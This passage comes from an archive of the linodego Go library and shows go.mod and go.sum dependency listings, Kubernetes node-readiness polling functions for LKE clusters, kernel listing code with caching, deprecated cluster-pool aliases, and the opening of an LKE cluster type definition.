v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/spf13/pflag v1.0.5 // indirect golang.org/x/net v0.34.0 // indirect golang.org/x/oauth2 v0.25.0 // indirect golang.org/x/sys v0.29.0 // indirect golang.org/x/term v0.28.0 // indirect golang.org/x/text v0.21.0 // indirect golang.org/x/time v0.6.0 // indirect google.golang.org/protobuf v1.33.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect k8s.io/klog/v2 v2.110.1 // indirect k8s.io/kube-openapi v0.0.0-20231010175941-2dd684a91f00 // indirect k8s.io/utils v0.0.0-20230726121419-3b25d923346b // indirect sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd // indirect sigs.k8s.io/structured-merge-diff/v4 v4.4.1 // indirect sigs.k8s.io/yaml v1.3.0 // indirect ) replace github.com/linode/linodego => ../ go 1.22 toolchain go1.22.1 golang-github-linode-linodego-1.47.0/k8s/go.sum000066400000000000000000000334511474652371000212570ustar00rootroot00000000000000github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/emicklei/go-restful/v3 v3.11.0 h1:rAQeMHw1c7zTmncogyy8VvRZwtkmkZ4FxERmMY4rD+g= github.com/emicklei/go-restful/v3 v3.11.0/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= github.com/go-logr/logr v1.3.0 h1:2y3SDp0ZXuc6/cjLSZ+Q3ir+QB9T/iG5yYRXqsagWSY= github.com/go-logr/logr v1.3.0/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-openapi/jsonpointer v0.19.6 h1:eCs3fxoIi3Wh6vtgmLTOjdhSpiqphQ+DaPn38N2ZdrE= github.com/go-openapi/jsonpointer v0.19.6/go.mod h1:osyAmYz/mB/C3I+WsTTSgw1ONzaLJoLCyoi6/zppojs= github.com/go-openapi/jsonreference v0.20.2 h1:3sVjiK66+uXK/6oQ8xgcRKcFgQ5KXa2KvnJRumpMGbE= github.com/go-openapi/jsonreference v0.20.2/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k= github.com/go-openapi/swag v0.22.3 h1:yMBqmnQ0gyZvEb/+KzuWZOXgllrXT4SADYbvDaXHv/g= github.com/go-openapi/swag v0.22.3/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14= github.com/go-resty/resty/v2 v2.16.3 h1:zacNT7lt4b8M/io2Ahj6yPypL7bqx9n1iprfQuodV+E= github.com/go-resty/resty/v2 v2.16.3/go.mod h1:hkJtXbA2iKHzJheXYvQ8snQES5ZLGKMwQ07xAwp/fiA= github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/gnostic-models v0.6.8 h1:yo/ABAfM5IMRsS1VnXjTBvUb61tFIHozhlYvRgGre9I= github.com/google/gnostic-models v0.6.8/go.mod h1:5n7qKqH0f5wFt+aWF8CW6pZLLNOfYuF5OpfBSENuI8U= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1 h1:K6RDEckDVWvDI9JAJYCmNdQXq6neHJOYx3V6jnqNEec= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/imdario/mergo v0.3.6 h1:xTNEAn+kxVO7dTZGu0CegyqKZmoWFI0rF8UxjlB2d28= github.com/imdario/mergo v0.3.6/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/jarcoal/httpmock v1.3.1 h1:iUx3whfZWVf3jT01hQTO/Eo5sAYtB2/rqaUuOtpInww= github.com/jarcoal/httpmock v1.3.1/go.mod h1:3yb8rc4BI7TCBhFY8ng0gjuLKJNquuDNiPaZjnENuYg= github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/onsi/ginkgo/v2 v2.13.0 h1:0jY9lJquiL8fcf3M4LAXN5aMlS/b2BV86HFFPCPMgE4= github.com/onsi/ginkgo/v2 v2.13.0/go.mod h1:TE309ZR8s5FsKKpuB1YAQYBzCaAfUgatB/xlT/ETL/o= github.com/onsi/gomega v1.29.0 h1:KIA/t2t5UBzoirT4H9tsML45GEbo3ouUnBHsCfD2tVg= github.com/onsi/gomega v1.29.0/go.mod h1:9sxs+SwGrKI0+PWe4Fxa9tFQQBG5xSsSbMXOI8PPpoQ= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0= golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k= golang.org/x/oauth2 v0.25.0 h1:CY4y7XT9v0cRI9oupztF8AgiIu99L/ksR/Xp/6jrZ70= golang.org/x/oauth2 v0.25.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg= golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U= golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI= google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= k8s.io/api v0.29.4 h1:WEnF/XdxuCxdG3ayHNRR8yH3cI1B/llkWBma6bq4R3w= k8s.io/api v0.29.4/go.mod h1:DetSv0t4FBTcEpfA84NJV3g9a7+rSzlUHk5ADAYHUv0= k8s.io/apimachinery v0.29.4 h1:RaFdJiDmuKs/8cm1M6Dh1Kvyh59YQFDcFuFTSmXes6Q= k8s.io/apimachinery v0.29.4/go.mod h1:i3FJVwhvSp/6n8Fl4K97PJEP8C+MM+aoDq4+ZJBf70Y= k8s.io/client-go v0.29.4 h1:79ytIedxVfyXV8rpH3jCBW0u+un0fxHDwX5F9K8dPR8= k8s.io/client-go v0.29.4/go.mod h1:kC1thZQ4zQWYwldsfI088BbK6RkxK+aF5ebV8y9Q4tk= k8s.io/klog/v2 v2.110.1 h1:U/Af64HJf7FcwMcXyKm2RPM22WZzyR7OSpYj5tg3cL0= k8s.io/klog/v2 v2.110.1/go.mod h1:YGtd1984u+GgbuZ7e08/yBuAfKLSO0+uR1Fhi6ExXjo= k8s.io/kube-openapi v0.0.0-20231010175941-2dd684a91f00 h1:aVUu9fTY98ivBPKR9Y5w/AuzbMm96cd3YHRTU83I780= k8s.io/kube-openapi v0.0.0-20231010175941-2dd684a91f00/go.mod h1:AsvuZPBlUDVuCdzJ87iajxtXuR9oktsTctW/R9wwouA= k8s.io/utils v0.0.0-20230726121419-3b25d923346b h1:sgn3ZU783SCgtaSJjpcVVlRqd6GSnlTLKgpAAttJvpI= k8s.io/utils v0.0.0-20230726121419-3b25d923346b/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd h1:EDPBXCAspyGV4jQlpZSudPeMmr1bNJefnuqLsRAsHZo= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd/go.mod h1:B8JuhiUyNFVKdsE8h686QcCxMaH6HrOAZj4vswFpcB0= sigs.k8s.io/structured-merge-diff/v4 v4.4.1 h1:150L+0vs/8DA78h1u02ooW1/fFq/Lwr+sGiqlzvrtq4= sigs.k8s.io/structured-merge-diff/v4 v4.4.1/go.mod h1:N8hJocpFajUSSeSJ9bOZ77VzejKZaXsTtZo4/u7Io08= sigs.k8s.io/yaml v1.3.0 h1:a2VclLzOGrwOHDiV8EfBGhvjHvP46CtW5j6POvhYGGo= sigs.k8s.io/yaml v1.3.0/go.mod h1:GeOyir5tyXNByN85N/dRIT9es5UQNerPYEKK56eTBm8= golang-github-linode-linodego-1.47.0/k8s/pkg/000077500000000000000000000000001474652371000206775ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/k8s/pkg/condition/000077500000000000000000000000001474652371000226655ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/k8s/pkg/condition/lke.go000066400000000000000000000047441474652371000240000ustar00rootroot00000000000000package condition import ( "context" "fmt" "github.com/linode/linodego" "github.com/linode/linodego/k8s" corev1 "k8s.io/api/core/v1" v1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) // ClusterHasReadyNode is a ClusterConditionFunc which polls for at least one node to have the // condition NodeReady=True. func ClusterHasReadyNode(ctx context.Context, options linodego.ClusterConditionOptions) (bool, error) { clientset, err := k8s.BuildClientsetFromConfig(options.LKEClusterKubeconfig, options.TransportWrapper) if err != nil { return false, err } nodes, err := clientset.CoreV1().Nodes().List(ctx, v1.ListOptions{}) if err != nil { return false, fmt.Errorf("failed to get nodes for cluster: %w", err) } for _, node := range nodes.Items { for _, condition := range node.Status.Conditions { if condition.Type == corev1.NodeReady && condition.Status == corev1.ConditionTrue { return true, nil } } } return false, nil } // ClusterNodesReady is a ClusterConditionFunc which polls for all nodes to have the // condition NodeReady=True. func ClusterNodesReady(ctx context.Context, options linodego.ClusterConditionOptions) (bool, error) { clientset, err := k8s.BuildClientsetFromConfig(options.LKEClusterKubeconfig, options.TransportWrapper) if err != nil { return false, err } nodes, err := clientset.CoreV1().Nodes().List(ctx, v1.ListOptions{}) if err != nil { return false, fmt.Errorf("failed to get nodes for cluster: %w", err) } for _, node := range nodes.Items { for _, condition := range node.Status.Conditions { if condition.Type == corev1.NodeReady && condition.Status != corev1.ConditionTrue { return false, nil } } } return true, nil } // WaitForLKEClusterReady polls with a given timeout for the LKE Cluster's api-server // to be healthy and for the cluster to have at least one node with the NodeReady // condition true. func WaitForLKEClusterReady(ctx context.Context, client linodego.Client, clusterID int, options linodego.LKEClusterPollOptions) error { return client.WaitForLKEClusterConditions(ctx, clusterID, options, ClusterHasReadyNode) } // WaitForLKEClusterAndNodesReady polls with a given timeout for the LKE // Cluster's api-server to be healthy and for all cluster nodes to have the // NodeReady condition true. func WaitForLKEClusterAndNodesReady(ctx context.Context, client linodego.Client, clusterID int, options linodego.LKEClusterPollOptions) error { return client.WaitForLKEClusterConditions(ctx, clusterID, options, ClusterNodesReady) } golang-github-linode-linodego-1.47.0/kernels.go000066400000000000000000000037151474652371000214110ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // LinodeKernel represents a Linode Instance kernel object type LinodeKernel struct { ID string `json:"id"` Label string `json:"label"` Version string `json:"version"` Architecture string `json:"architecture"` Deprecated bool `json:"deprecated"` KVM bool `json:"kvm"` XEN bool `json:"xen"` PVOPS bool `json:"pvops"` Built *time.Time `json:"-"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *LinodeKernel) UnmarshalJSON(b []byte) error { type Mask LinodeKernel p := struct { *Mask Built *parseabletime.ParseableTime `json:"built"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Built = (*time.Time)(p.Built) return nil } // ListKernels lists linode kernels. This endpoint is cached by default. func (c *Client) ListKernels(ctx context.Context, opts *ListOptions) ([]LinodeKernel, error) { endpoint, err := generateListCacheURL("linode/kernels", opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]LinodeKernel), nil } response, err := getPaginatedResults[LinodeKernel](ctx, c, "linode/kernels", opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response, nil) return response, nil } // GetKernel gets the kernel with the provided ID. This endpoint is cached by default. func (c *Client) GetKernel(ctx context.Context, kernelID string) (*LinodeKernel, error) { e := formatAPIPath("linode/kernels/%s", kernelID) if result := c.getCachedResponse(e); result != nil { result := result.(LinodeKernel) return &result, nil } response, err := doGETRequest[LinodeKernel](ctx, c, e) if err != nil { return nil, err } c.addCachedResponse(e, response, nil) return response, nil } golang-github-linode-linodego-1.47.0/lke_cluster_pools.go000066400000000000000000000043741474652371000235000ustar00rootroot00000000000000package linodego import ( "context" ) // Deprecated: LKEClusterPoolDisk represents a Node disk in an LKEClusterPool object type LKEClusterPoolDisk = LKENodePoolDisk // Deprecated: LKEClusterPoolAutoscaler represents an AutoScaler configuration type LKEClusterPoolAutoscaler = LKENodePoolAutoscaler // Deprecated: LKEClusterPoolLinode represents a LKEClusterPoolLinode object type LKEClusterPoolLinode = LKENodePoolLinode // Deprecated: LKEClusterPool represents a LKEClusterPool object type LKEClusterPool = LKENodePool // Deprecated: LKEClusterPoolCreateOptions fields are those accepted by CreateLKEClusterPool type LKEClusterPoolCreateOptions = LKENodePoolCreateOptions // Deprecated: LKEClusterPoolUpdateOptions fields are those accepted by UpdateLKEClusterPool type LKEClusterPoolUpdateOptions = LKENodePoolUpdateOptions // Deprecated: ListLKEClusterPools lists LKEClusterPools func (c *Client) ListLKEClusterPools(ctx context.Context, clusterID int, opts *ListOptions) ([]LKEClusterPool, error) { return c.ListLKENodePools(ctx, clusterID, opts) } // Deprecated: GetLKEClusterPool gets the lkeClusterPool with the provided ID func (c *Client) GetLKEClusterPool(ctx context.Context, clusterID, id int) (*LKEClusterPool, error) { return c.GetLKENodePool(ctx, clusterID, id) } // Deprecated: CreateLKEClusterPool creates a LKEClusterPool func (c *Client) CreateLKEClusterPool(ctx context.Context, clusterID int, createOpts LKEClusterPoolCreateOptions) (*LKEClusterPool, error) { return c.CreateLKENodePool(ctx, clusterID, createOpts) } // Deprecated: UpdateLKEClusterPool updates the LKEClusterPool with the specified id func (c *Client) UpdateLKEClusterPool(ctx context.Context, clusterID, id int, updateOpts LKEClusterPoolUpdateOptions) (*LKEClusterPool, error) { return c.UpdateLKENodePool(ctx, clusterID, id, updateOpts) } // Deprecated: DeleteLKEClusterPool deletes the LKEClusterPool with the specified id func (c *Client) DeleteLKEClusterPool(ctx context.Context, clusterID, id int) error { return c.DeleteLKENodePool(ctx, clusterID, id) } // Deprecated: DeleteLKEClusterPoolNode deletes a given node from a cluster pool func (c *Client) DeleteLKEClusterPoolNode(ctx context.Context, clusterID int, id string) error { return c.DeleteLKENodePoolNode(ctx, clusterID, id) } golang-github-linode-linodego-1.47.0/lke_clusters.go000066400000000000000000000220731474652371000224430ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // LKEClusterStatus represents the status of an LKECluster type LKEClusterStatus string // LKEClusterStatus enums start with LKECluster const ( LKEClusterReady LKEClusterStatus = "ready" LKEClusterNotReady LKEClusterStatus = "not_ready" ) // LKECluster represents a LKECluster object type LKECluster struct { ID int `json:"id"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` Label string `json:"label"` Region string `json:"region"` Status LKEClusterStatus 